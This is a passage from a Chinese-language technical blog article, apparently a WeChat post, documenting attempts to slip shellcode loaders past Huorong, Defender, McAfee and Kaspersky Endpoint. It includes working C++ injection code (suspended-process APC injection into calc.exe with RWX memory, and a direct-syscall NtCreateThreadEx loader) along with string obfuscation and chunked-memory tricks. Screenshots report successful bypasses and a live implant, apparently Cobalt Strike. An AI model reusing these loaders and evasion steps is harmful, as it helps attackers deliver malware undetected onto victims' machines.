-apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">成功bypass:</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-w="1044" data-type="png" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" title="null" data-ratio="0.671455938697318" src="https://wechat2rss.xlab.app/img-proxy/?k=a9ce8c58&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794YdMySnPB1u0pVko404NNaU9nJ20pehJNndjqSAwpSpGPCpUBclRxczXNUdJzZR1Mosl7oZQsQ1w%2F640%3Fwx_fmt%3Dpng"/></figure><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-w="933" data-type="png" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" title="null" data-ratio="0.7877813504823151" src="https://wechat2rss.xlab.app/img-proxy/?k=17a92dcb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794YdMySnPB1u0pVko404NNayyNUFvhs9ia2GERmiaPcDknkqvRqx5xVpLdNbibIRVy7vzy9fWob9JibeA%2F640%3Fwx_fmt%3Dpng"/></figure><h3 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin: 2em 8px 0.75em 0px;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">火绒</h3><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">和上述方法相同:</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-w="1080" data-type="png" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" title="null" data-ratio="0.5388888888888889" src="https://wechat2rss.xlab.app/img-proxy/?k=8fd7b8f0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794YdMySnPB1u0pVko404NNaH4fKTJOUgg32DibpNybsM7GEPUU2JS17HBbMNibibVfMQnAInBNAZq1eA%2F640%3Fwx_fmt%3Dpng"/></figure><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-w="933" data-type="png" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" title="null" data-ratio="0.7631296891747053" src="https://wechat2rss.xlab.app/img-proxy/?k=05b53e58&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794YdMySnPB1u0pVko404NNaLvicfZjcBq3OBdt8HKrAcx1v7pC1ABVqhh4zTwUQFiaXa2n3z4icJ5K2w%2F640%3Fwx_fmt%3Dpng"/></figure><h3 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin: 2em 8px 0.75em 0px;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">definder</h3><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">加强shellcode的混淆：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="text-align: left;line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 14px;margin: 0px;white-space: nowrap;">std::string rest2_reference = &#34;xxx@@&#34;;<br/>std::string rest3_reference = replace(rest2_reference, &#34;@@&#34;, &#34;==&#34;);</code></pre><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">依旧报毒，但是类型发生改变了，说明静态的混淆有效果：</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-w="419" data-type="png" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" title="null" data-ratio="0.8926014319809069" src="https://wechat2rss.xlab.app/img-proxy/?k=fcb34539&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794YdMySnPB1u0pVko404NNasNNUicGMdOulCAa0m77HGffPGS6GrxWNAQsnEKDhTLpOsB45tOpWbVA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">异或的操作，比较可疑，经过测试发现是cs的shellcode出现在数组里就报毒，应该是对内存进行的扫描。</p><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">所以我们可以使用《文章二》中提及的技术“规避常见的恶意API调用模式”，将shellcode分片直接写入连续内存。</p><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">在测试的过程中发现莫名其妙的过了查杀:</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-w="1080" data-type="png" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" title="null" data-ratio="0.44074074074074077" src="https://wechat2rss.xlab.app/img-proxy/?k=9a7d72ed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794YdMySnPB1u0pVko404NNa3kIhXlFULsRqDv42FEHzBZ8zmu3X23rYGUavUmzPMC4DnibiavHwlcMA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">很神奇，这段并没有实现内存的切片写入，因为shellcode的大小没有达到4096，实际上相当于直接分配了个大小为4096的数组，写入了shellcode。</p><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">而且把这段代码相同的格式放外面就不行，个人感觉definder还是没有去检查内存。</p><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">可能是有语义分析的引擎，这次刚好绕过了语义分析。</p><h3 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin: 2em 8px 0.75em 0px;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">macfee</h3><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">同上方法可以成功bypass：</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-w="1080" data-type="png" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" title="null" data-ratio="0.825" src="https://wechat2rss.xlab.app/img-proxy/?k=c0ea1762&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794YdMySnPB1u0pVko404NNaFNJPaL8RfH1dSyjlHHxuAcu9RE1bsRn2CgBfE5BDwe3sb3tITyIOicA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="margin-bottom: 0px;"><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">正常执行命令：</span></p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-w="844" data-type="png" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" title="null" data-ratio="0.8151658767772512" src="https://wechat2rss.xlab.app/img-proxy/?k=5d5838ae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794YdMySnPB1u0pVko404NNampGzQR61ykW6AOWqa77oT37XPLgQXibVUZ8EYCQpmhWk8ReOBcJJxyg%2F640%3Fwx_fmt%3Dpng"/></figure><h3 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin: 2em 8px 0.75em 0px;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">kasperky Endpoint 11 for windows</h3><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">用过macfee和definder的demo2测试失败，注释掉代码加载部分不报毒，改用apc和创建进程的的方式加载内存：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="text-align: left;line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 14px;margin: 0px;white-space: nowrap;">SIZE_T shellSize = 4096;<br/>STARTUPINFOA si = { 0 };<br/>PROCESS_INFORMATION pi = { 0 };<br/>CreateProcessA(&#34;C:\\Windows\\System32\\calc.exe&#34;, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &amp;si, &amp;pi);<br/>HANDLE victimProcess = pi.hProcess;<br/>HANDLE threadHandle = pi.hThread;<br/>LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);<br/>PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;<br/>WriteProcessMemory(victimProcess, shellAddress, exec, shellSize, NULL);<br/>QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);<br/>ResumeThread(threadHandle);</code></pre><p style="margin-bottom: 0px;"><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">依旧不行：</span></p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-w="871" data-type="png" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" title="null" data-ratio="0.13088404133180254" src="https://wechat2rss.xlab.app/img-proxy/?k=7ba92fc1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794YdMySnPB1u0pVko404NNa295yZJbB4HaBbzgZyRoRDWWoe9uiaqtcGeggeelkLwAScbxqia4hSs1w%2F640%3Fwx_fmt%3Dpng"/></figure><p style="margin-bottom: 0px;"><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">使用syscall调用NtCreateThreadEx。这里被坑了，WaitForSingleObject要使用，不然会异步，没法上线：</span></p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="text-align: left;line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 14px;margin: 0px;white-space: nowrap;">ANtCTE(<br/>    &amp;hThread,<br/>    THREAD_ALL_ACCESS,<br/>    NULL,<br/>    GetCurrentProcess(),<br/>    (LPTHREAD_START_ROUTINE)exec,<br/>    NULL,<br/>    NULL,<br/>    0,<br/>    0,<br/>    0,<br/>    nullptr<br/>);<br/>WaitForSingleObject(hThread, INFINITE);</code></pre><p style="margin-bottom: 0px;"><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: 